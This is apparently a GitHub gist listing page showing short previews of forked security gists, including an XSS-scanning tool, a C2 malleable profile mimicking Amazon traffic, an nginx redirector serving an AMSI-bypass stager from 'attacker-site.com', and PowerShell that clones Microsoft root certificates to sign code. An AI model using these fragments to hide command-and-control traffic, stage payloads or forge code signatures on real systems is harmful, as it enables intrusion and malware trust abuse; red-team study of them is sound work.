a7t0fwa7’s gists

a7t0fwa7 / tool.py

Created June 11, 2025 06:54 — forked from SecFathy/tool.py

Identify and confirm reflected XSS vulnerabilities using parameter discovery + AI-based validation (via Gemini API).

	import warnings
	from urllib3.exceptions import NotOpenSSLWarning
	warnings.filterwarnings("ignore", category=NotOpenSSLWarning)

	import subprocess
	import requests
	import urllib.parse
	import json
	import os
	from datetime import datetime

a7t0fwa7 / contemplative-llms.txt

Created January 8, 2025 20:10 — forked from Maharshi-Pandya/contemplative-llms.txt

"Contemplative reasoning" response style for LLMs like Claude and GPT-4o

	You are an assistant that engages in extremely thorough, self-questioning reasoning. Your approach mirrors human stream-of-consciousness thinking, characterized by continuous exploration, self-doubt, and iterative analysis.

	## Core Principles

	1. EXPLORATION OVER CONCLUSION
	- Never rush to conclusions
	- Keep exploring until a solution emerges naturally from the evidence
	- If uncertain, continue reasoning indefinitely
	- Question every assumption and inference

a7t0fwa7 / SystemProcessInformation.cpp

Created May 13, 2024 04:58 — forked from TheWover/SystemProcessInformation.cpp

Demonstrates use of NtQuerySystemInformation and SystemProcessInformation variants to enumerate processes without opening handles

	// Demonstrates use of NtQuerySystemInformation and SystemProcessInformation variants to enumerate processes without opening handles
	// Author: TheWover
	//

	#include <iostream>
	#include <string>
	#include "ntdefs.h"

	bool demoSystemProcessInformation(bool full)
	{

a7t0fwa7 / custom_amazon_empire_malleable.profile

Created December 12, 2023 10:37 — forked from CalfCrusher/custom_amazon_empire_malleable.profile

Amazon Empire C2 Custom Malleable profile

	#
	# Modified Amazon browsing traffic profile
	#

	set sleeptime "10000"; # Increased sleep time to 10 seconds
	set jitter "500"; # Increased jitter to 500 milliseconds
	set maxdns "255";
	set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36"; # Changed the User Agent

	http-get {

a7t0fwa7 / nginx_example_vhost

Created December 12, 2023 10:34 — forked from CalfCrusher/nginx_example_vhost

Nginx as redirector for payloads

	limit_req_zone $binary_remote_addr zone=req_zone:10m rate=5r/m;

	server {
	root /var/www/attacker-site.com/html;
	index index.html;
	server_name attacker-site.com www.attacker-site.com;
	location / {
	try_files $uri $uri/ =404;
	}
	location = /bypassamsiandrequeststager.txt {

a7t0fwa7 / List of API endpoints & objects

Created February 28, 2023 03:47 — forked from yassineaboukir/List of API endpoints & objects

A list of 3203 common API endpoints and objects designed for fuzzing.

	0
	00
	01
	02
	03
	1
	1.0
	10
	100
	1000

a7t0fwa7 / RemoteCertTrust.ps1

Created February 22, 2023 09:14 — forked from mattifestation/RemoteCertTrust.ps1

An example weaponization of trusting a cloned MSFT root CA certificate by installing directly into the registry

$CertThumbprint = '1F3D38F280635F275BE92B87CF83E40E40458400'

$EncodedCertBlob = 'BAAAAAEAAAAQAAAAgaT+C9ETBIfHkH5Zi2eoqw8AAAABAAAAIAAAAK7pIm4Ori+vdX436CAjk55T8gJEI7WBW1muIpb8dcC8FAAAAAEAAAAUAAAAAIZxjuuFqSJSqIzGDU9d5gKzHTAZAAAAAQAAABAAAADSxnNDC24NyPBSKJlFvtVeAwAAAAEAAAAUAAAAHz048oBjXydb6SuHz4PkDkBFhABcAAAAAQAAAAQAAAAAEAAAWQAAAAEAAAAWAAAAUgBTAEEALwBTAEgAQQAyADUANgAAACAAAAABAAAA3wUAADCCBdswggPDoAMCAQICEFJ2FzbupEWBQkU+LXP6ibIwDQYJKoZIhvcNAQELBQAwgYgxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xMjAwBgNVBAMTKU1pY3Jvc29mdCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAyMDEwMB4XDTE3MTIwMTIxNTUxNFoXDTQyMTIwMTA1MDYzN1owgYgxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xMjAwBgNVBAMTKU1pY3Jvc29mdCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAyMDEwMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAzSRYTzEnnwmvABZcLTj5H+xw1ulaHN2DJGwwKt77hrM8BcsJ/AdVY7EAf0QGqvV94QuDf5ENxihl59E6WMT5O5SRHcCQweVs0PHMhlw3qbEx7iiUr7HusyUiOA6

a7t0fwa7 / CertificateCloning.ps1

Created February 22, 2023 08:15 — forked from mattifestation/CertificateCloning.ps1

The steps required to clone a legitimate certificate chain and sign code with it.

	# We'll just store the cloned certificates in current user "Personal" store for now.
	$CertStoreLocation = @{ CertStoreLocation = 'Cert:\CurrentUser\My' }

	$MS_Root_Cert = Get-PfxCertificate -FilePath C:\Test\MSKernel32Root.cer
	$Cloned_MS_Root_Cert = New-SelfSignedCertificate -CloneCert $MS_Root_Cert @CertStoreLocation

	$MS_PCA_Cert = Get-PfxCertificate -FilePath C:\Test\MSKernel32PCA.cer
	$Cloned_MS_PCA_Cert = New-SelfSignedCertificate -CloneCert $MS_PCA_Cert -Signer $Cloned_MS_Root_Cert @CertStoreLocation

	$MS_Leaf_Cert = Get-PfxCertificate -FilePath C:\Test\MSKernel32Leaf.cer

a7t0fwa7 / aes_example_in_python.py

Created July 28, 2022 08:39 — forked from wowkin2/aes_example_in_python.py

AES Encrytion Example in Python

	#-- coding: utf-8 --

	# Python 3.4
	# author: http://blog.dokenzy.com/
	# date: 2015. 4. 8

	# References
	# http://www.imcore.net/encrypt-decrypt-aes256-c-objective-ios-iphone-ipad-php-java-android-perl-javascript/
	# http://stackoverflow.com/questions/12562021/aes-decryption-padding-with-pkcs5-python
	# http://stackoverflow.com/questions/12524994/encrypt-decrypt-using-pycrypto-aes-256

a7t0fwa7 / no_strings.hpp

Created July 26, 2022 04:29 — forked from EvanMcBroom/no_strings.hpp

Encrypt Strings at Compile Time

	// Copyright (C) 2022 Evan McBroom
	// If you are using Visual Studio, you will need to disable the "Edit and Continue" feature.

	// Prng based off of Parker Miller's
	// "Multiplicative Linear Congruential Generator"
	// https://en.wikipedia.org/wiki/Lehmer_random_number_generator
	namespace mlcg {
	constexpr uint32_t modulus() {
	return 0x7fffffff;
	}